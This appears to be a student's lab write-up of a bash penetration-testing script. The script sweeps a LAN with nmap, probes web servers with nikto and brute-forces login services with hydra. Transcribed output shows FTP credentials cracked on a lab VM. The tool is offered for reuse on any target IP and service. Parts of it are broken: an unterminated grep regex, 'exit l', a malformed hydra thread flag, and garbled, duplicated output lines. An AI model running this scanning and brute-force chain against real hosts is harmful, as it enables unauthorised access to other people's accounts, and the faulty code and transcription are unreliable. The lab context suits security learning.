

```
#Use Nmap to scan for live hosts
echo "--- Scanning Current LAN for Live Hosts ---"

#Use Nmap to scan for live hosts
sudo nmap -sP 192.168.111.0/24 #your local LAN IP range - user may enter

echo "--- Enumerating Live Hosts ---"

#store the output from the Nmap scan
hosts=$(sudo nmap -sP 192.168.111.0/24 | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.]
```

Nmap to get live host from the local network.

And store the output to variable to "hosts" for later use.

```
#Loop through the list of ip addresses
for ip in $hosts
do
    #Enumerate each live host
    sudo nmap -A $ip
done
echo "---Finding Potential Vulnerabilities---"

#Loop through the list of ip addresses
for ip in $hosts
do
    #Find potential vulnerabilities web service for each device
    sudo nikto -h $ip    #take note user need to key in y/n if it promt
    done
echo " --- nikto done --- "
```

After getting host ip we will be using nmap to scan each of the live host.

After that will be using nikto to double check for web service.

Create user name list , user can change the txt file name to what they want for multiple different txt file to be use.

Same as user list, user can create multiple different password file to use.

```
#let user to find or locate password list for later use
echo "Please enter the path to your password list: "
read PASSWORD_LIST

if [ -f "$PASSWORD_LIST" ]; then
    echo "Password list found!"

else
    echo "Password list not found!"
    exit 1

fi
```

This part is for user to choose and check for password list or they have a ready made password list for usage.

```
#let user to find or locate user list for later use
echo "Please enter the path to your user list: "
read user_list

if [ -f "$user_list" ]; then
        echo "User list found!"
else
        echo "User list not found!"
        exit l
fi
```

This part is for user to choose and check for user list or they have a ready made user list for usage.

```
#Prompt user for login service
read -p "Enter the login service to brute force: " service

#Prompt user for user list
read -p "Enter the path of the user list: " user

#Prompt user for password list
read -p "Enter the path of the password list: " plist

#Prompt user for ip
read -p "Enter Target ip address: " ipadd

#Brute force the login service using Hydra
echo "Starting brute force..."
hydra -L $user -P $plist $ipadd $service T-4
```

After all the verification of user list ,password list, service, ip address.

This part will be the part where the user need to input in the path of the password list, user list and the ip address.

after the input hydra will run the attack.

user can interchange the script to their purpose.

```
# Save results to report
echo "Saving results to report..."
date=$(date)
printf "$date: Bruteforce $service $ipadd password list:$plist user list:$user\n" >> report.txt
# Display relevant findings
echo "Displaying relevant findings for $ipadd ..."
# Show findings
cat report.txt | grep $ipadd
```

Save the Brute force into date and time to a report.txt

in this script I want the user to be able to edit the script where the password list, user list and ip address for the attack testing.

```
--- Scanning Current LAN for Live Hosts ---
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-04 01:44 EST
Nmap scan report for 192.168.111.1
Host is up (0.00032s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.111.2
Host is up (0.000088s latency).
MAC Address: 00:50:56:F9:25:91 (VMware)
Nmap scan report for 192.168.111.130
Host is up (0.000078s latency).
MAC Address: 00:00:29:9F:48:00 (VMware)
Nmap scan report for vic (192.168.111.137)
Host is up (0.000073s latency).
MAC Address: 00:00:29:86:F3:3C (VMware)
Nmap scan report for 192.168.111.254
Host is up (0.000073s latency).
MAC Address: 00:50:56:EB:FA:71 (VMware)
Nmap scan report for 192.168.111.132
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 1.90 seconds
```

nmap searching for live host

```
--- Enumerating Live Hosts ---
Starting Nnap 7.93 (https://nnap.org ) at 2023-02-04 01:44 EST
Nmap scan report for 192.168.111.1
Host is up (0.00017s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
912/tcp open wmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Service Unavailable
MAC Address: 00:50:56:C0:00:08 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows XP (89%), AVtech embedded (87%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (89%), AVtech Room Alert 26W environmental monitor (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows: CPE: cpe:/o:microsoft:windows
example of enumerating one of the hosts
```

example of enumerating one of the hosts

```
example of enumerating one of the hosts

Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds

Starting Nmap 7.93 (1 https://nmap.org) at 2023-02-04 01:45 EST

Nmap scan report for vic (192.168.111.137)

Host is up (0.00032s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.111.132
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
                             TYPE: ASLII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fast, stable
 SSLV2 SUPPORTED

ciphers:
SSL2 RC2 128 CBC EXPORT40 WITH MD5
SSL2 RC2 128 CBC WITH MD5
SSL2 DES 192 EDE3 CBC WITH MD5
SSL2 DES 64 CBC WITH MD5
SSL2 RC4 128 WITH MD5
SSL2 RC4 128 WITH MD5
SSL2 RC4 128 WITH MD5
```

more example of enumerating

```
--Finding Potential Vulnerabilities---
- Nikto v2.1.6

+ No web server found on 192.168.111.1:80

+ 0 host(s) tested
- Nikto v2.1.6

+ No web server found on 192.168.111.2:80

+ 0 host(s) tested
- Nikto v2.1.6

- Nikto v2.1.6

+ Target IP: 192.168.111.130
- Target Hostname: 192.168.111.130
- Target Hostname: 192.168.111.130
- Target Port: 80
- Start Time: 2023-02-04 01:47:24 (GMT-5)

- Server: Apache/2 4.52 (Ubuntu)
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- No CGI Directories found (use '-C all' to force check all possible dirs)
- Server may leak inodes via ETags, header found with file /, inode: 29af, size: 5eb4f204b8a2c, mtime: gzip
- Allowed HTTP Methods: GGT, POST, OPTIONS, HEAD
- 7915 requests: 0 error(s) and 5 item(s) reported on remote host
- End Time: 2023-02-04 01:48:11 (GMT-5) (47 seconds)

+ 1 host(s) tested
```

Using Nikto to check for more web server vulnerabilities

```
nikto done
 ----- Create User name list -----
Enter names, one per line. leave A space after each Username:
aa bb cc
-----DONE-----
--- names.txt created ---
----- Create password list -----
Enter password, one per line. leave A space after each password:
aaa bbb
-----DONE-----
Please enter the path to your password list:
/home/kali/ptp/passpass
Password list found!
Please enter the path to your user list:
/home/kali/ptp/names.txt
User list found!
Enter the login service to brute force: ftp
Enter the path of the user list: /home/kali/ptp/namename
Enter the path of the password list: /home/kali/ptp/passpass
Enter Target ip address: 192.168.111.137
Starting brute force...
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military o
anyway).
```

creating of user list and password list

follow up with confirmation of password list and user list path

input of service for the attack , selection of user list and password list input of IP addresses

```
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ftp://192.168.111.137:21/T-4
[21][ftp] host: 192.168.111.137 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-04 01:52:07
Bruteforce ftp 192.168.111.137 /home/kali/ptp/passpass
Saving results to report...
Displaying relevant findings for 192.168.111.137 ...
Sat Feb 4 12:36:33 AM EST 2023: Bruteforce ftp 192.168.111.137 /home/kali/ptp/passpass
Sat Feb 4 01:52:07 AM EST 2023: Bruteforce ftp 192.168.111.137 password list:/home/kali/ptp/passpass user list:/home/kali/ptp/namename
```

Brute force ip address, service, password list and user list displayed after the attack.